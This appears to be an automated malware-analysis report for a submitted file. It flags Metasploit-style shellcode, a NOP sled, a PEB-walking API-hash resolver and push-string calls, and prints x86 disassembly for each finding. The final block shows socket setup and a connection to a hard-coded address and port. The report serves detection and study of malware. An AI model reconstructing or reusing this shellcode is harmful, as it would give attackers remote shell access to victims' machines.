MALICIOUS
200
Risk Score
Heuristics 5
-
Metasploit bind_tcp shellcode critical SC_MSF_BINDMetasploit bind_tcp shellcode
Disassembly
x86 disassembly · validity: code (0.969) — 9/9 branch targets land on an instruction boundary (100% coherence)00000637 fc cld 00000638 e889000000 call 0x6c6 0000063D 60 pushal 0000063E 89e5 mov ebp, esp 00000640 31d2 xor edx, edx 00000642 648b5230 mov edx, dword ptr fs:[edx + 0x30] 00000646 8b520c mov edx, dword ptr [edx + 0xc] 00000649 8b5214 mov edx, dword ptr [edx + 0x14] 0000064C 8b7228 mov esi, dword ptr [edx + 0x28] 0000064F 0fb74a26 movzx ecx, word ptr [edx + 0x26] 00000653 31ff xor edi, edi 00000655 31c0 xor eax, eax 00000657 ac lodsb al, byte ptr [esi] 00000658 3c61 cmp al, 0x61 0000065A 7c02 jl 0x65e 0000065C 2c20 sub al, 0x20 0000065E c1cf0d ror edi, 0xd 00000661 01c7 add edi, eax 00000663 e2f0 loop 0x655 00000665 52 push edx 00000666 57 push edi 00000667 8b5210 mov edx, dword ptr [edx + 0x10] 0000066A 8b423c mov eax, dword ptr [edx + 0x3c] 0000066D 01d0 add eax, edx 0000066F 8b4078 mov eax, dword ptr [eax + 0x78] 00000672 85c0 test eax, eax 00000674 744a je 0x6c0 00000676 01d0 add eax, edx 00000678 50 push eax 00000679 8b4818 mov ecx, dword ptr [eax + 0x18] 0000067C 8b5820 mov ebx, dword ptr [eax + 0x20] 0000067F 01d3 add ebx, edx 00000681 e33c jecxz 0x6bf 00000683 49 dec ecx 00000684 8b348b mov esi, dword ptr [ebx + ecx*4] 00000687 01d6 add esi, edx 00000689 31ff xor edi, edi 0000068B 31c0 xor eax, eax 0000068D ac lodsb al, byte ptr [esi] 0000068E c1cf0d ror edi, 0xd 00000691 01c7 add edi, eax 00000693 38e0 cmp al, ah 00000695 75f4 jne 0x68b
-
NOP sled detected high SC_NOP_SLEDFound 20+ consecutive 0x90 bytesDisassembly hidden — these bytes score as degenerate, not coherent x86 code (single mnemonic 'inc' is 78% of instructions — a sled or padding/filler run, not program logic).
-
PEB access via FS segment (x86) high SC_PEB_ACCESSPEB access via FS segment (x86)
Disassembly
x86 disassembly · validity: code (1.0) — 8/8 branch targets land on an instruction boundary (100% coherence)00000642 648b5230 mov edx, dword ptr fs:[edx + 0x30] 00000646 8b520c mov edx, dword ptr [edx + 0xc] 00000649 8b5214 mov edx, dword ptr [edx + 0x14] 0000064C 8b7228 mov esi, dword ptr [edx + 0x28] 0000064F 0fb74a26 movzx ecx, word ptr [edx + 0x26] 00000653 31ff xor edi, edi 00000655 31c0 xor eax, eax 00000657 ac lodsb al, byte ptr [esi] 00000658 3c61 cmp al, 0x61 0000065A 7c02 jl 0x65e 0000065C 2c20 sub al, 0x20 0000065E c1cf0d ror edi, 0xd 00000661 01c7 add edi, eax 00000663 e2f0 loop 0x655 00000665 52 push edx 00000666 57 push edi 00000667 8b5210 mov edx, dword ptr [edx + 0x10] 0000066A 8b423c mov eax, dword ptr [edx + 0x3c] 0000066D 01d0 add eax, edx 0000066F 8b4078 mov eax, dword ptr [eax + 0x78] 00000672 85c0 test eax, eax 00000674 744a je 0x6c0 00000676 01d0 add eax, edx 00000678 50 push eax 00000679 8b4818 mov ecx, dword ptr [eax + 0x18] 0000067C 8b5820 mov ebx, dword ptr [eax + 0x20] 0000067F 01d3 add ebx, edx 00000681 e33c jecxz 0x6bf 00000683 49 dec ecx 00000684 8b348b mov esi, dword ptr [ebx + ecx*4] 00000687 01d6 add esi, edx 00000689 31ff xor edi, edi 0000068B 31c0 xor eax, eax 0000068D ac lodsb al, byte ptr [esi] 0000068E c1cf0d ror edi, 0xd 00000691 01c7 add edi, eax 00000693 38e0 cmp al, ah 00000695 75f4 jne 0x68b 00000697 037df8 add edi, dword ptr [ebp - 8] 0000069A 3b7d24 cmp edi, dword ptr [ebp + 0x24] 0000069D 75e2 jne 0x681 0000069F 58 pop eax 000006A0 8b .byte 0x8b 000006A1 58 pop eax
-
PEB API-hash resolver high SC_API_HASH_RESOLVERPEB access followed by ROR13-style API hashing, a common position-independent shellcode import resolver
Disassembly
x86 disassembly · validity: code (1.0) — 8/8 branch targets land on an instruction boundary (100% coherence)00000642 648b5230 mov edx, dword ptr fs:[edx + 0x30] 00000646 8b520c mov edx, dword ptr [edx + 0xc] 00000649 8b5214 mov edx, dword ptr [edx + 0x14] 0000064C 8b7228 mov esi, dword ptr [edx + 0x28] 0000064F 0fb74a26 movzx ecx, word ptr [edx + 0x26] 00000653 31ff xor edi, edi 00000655 31c0 xor eax, eax 00000657 ac lodsb al, byte ptr [esi] 00000658 3c61 cmp al, 0x61 0000065A 7c02 jl 0x65e 0000065C 2c20 sub al, 0x20 0000065E c1cf0d ror edi, 0xd 00000661 01c7 add edi, eax 00000663 e2f0 loop 0x655 00000665 52 push edx 00000666 57 push edi 00000667 8b5210 mov edx, dword ptr [edx + 0x10] 0000066A 8b423c mov eax, dword ptr [edx + 0x3c] 0000066D 01d0 add eax, edx 0000066F 8b4078 mov eax, dword ptr [eax + 0x78] 00000672 85c0 test eax, eax 00000674 744a je 0x6c0 00000676 01d0 add eax, edx 00000678 50 push eax 00000679 8b4818 mov ecx, dword ptr [eax + 0x18] 0000067C 8b5820 mov ebx, dword ptr [eax + 0x20] 0000067F 01d3 add ebx, edx 00000681 e33c jecxz 0x6bf 00000683 49 dec ecx 00000684 8b348b mov esi, dword ptr [ebx + ecx*4] 00000687 01d6 add esi, edx 00000689 31ff xor edi, edi 0000068B 31c0 xor eax, eax 0000068D ac lodsb al, byte ptr [esi] 0000068E c1cf0d ror edi, 0xd 00000691 01c7 add edi, eax 00000693 38e0 cmp al, ah 00000695 75f4 jne 0x68b 00000697 037df8 add edi, dword ptr [ebp - 8] 0000069A 3b7d24 cmp edi, dword ptr [ebp + 0x24] 0000069D 75e2 jne 0x681 0000069F 58 pop eax 000006A0 8b .byte 0x8b 000006A1 58 pop eax
-
x86 push-string-call medium SC_PUSH_STRINGShellcode-style PUSH imm32 sequence builds an execution, network, or Windows API string on the stack
Disassembly
x86 disassembly · validity: code (0.923) — 6/6 branch targets land on an instruction boundary (100% coherence)000006C7 6833320000 push 0x3233 000006CC 687773325f push 0x5f327377 000006D1 54 push esp 000006D2 684c772607 push 0x726774c 000006D7 ffd5 call ebp 000006D9 b890010000 mov eax, 0x190 000006DE 29c4 sub esp, eax 000006E0 54 push esp 000006E1 50 push eax 000006E2 6829806b00 push 0x6b8029 000006E7 ffd5 call ebp 000006E9 50 push eax 000006EA 50 push eax 000006EB 50 push eax 000006EC 50 push eax 000006ED 40 inc eax 000006EE 50 push eax 000006EF 40 inc eax 000006F0 50 push eax 000006F1 68ea0fdfe0 push 0xe0df0fea 000006F6 ffd5 call ebp 000006F8 97 xchg edi, eax 000006F9 6a05 push 5 000006FB 680a5a8156 push 0x56815a0a 00000700 680200115c push 0x5c110002 00000705 89e6 mov esi, esp 00000707 6a10 push 0x10 00000709 56 push esi 0000070A 57 push edi 0000070B 6899a57461 push 0x6174a599 00000710 ffd5 call ebp 00000712 85c0 test eax, eax 00000714 740c je 0x722 00000716 ff4e08 dec dword ptr [esi + 8] 00000719 75ec jne 0x707 0000071B 68f0b5a256 push 0x56a2b5f0 00000720 ffd5 call ebp 00000722 6a00 push 0 00000724 6a04 push 4 00000726 56 push esi
Open this report in the interactive analyzer, or submit your own file for analysis.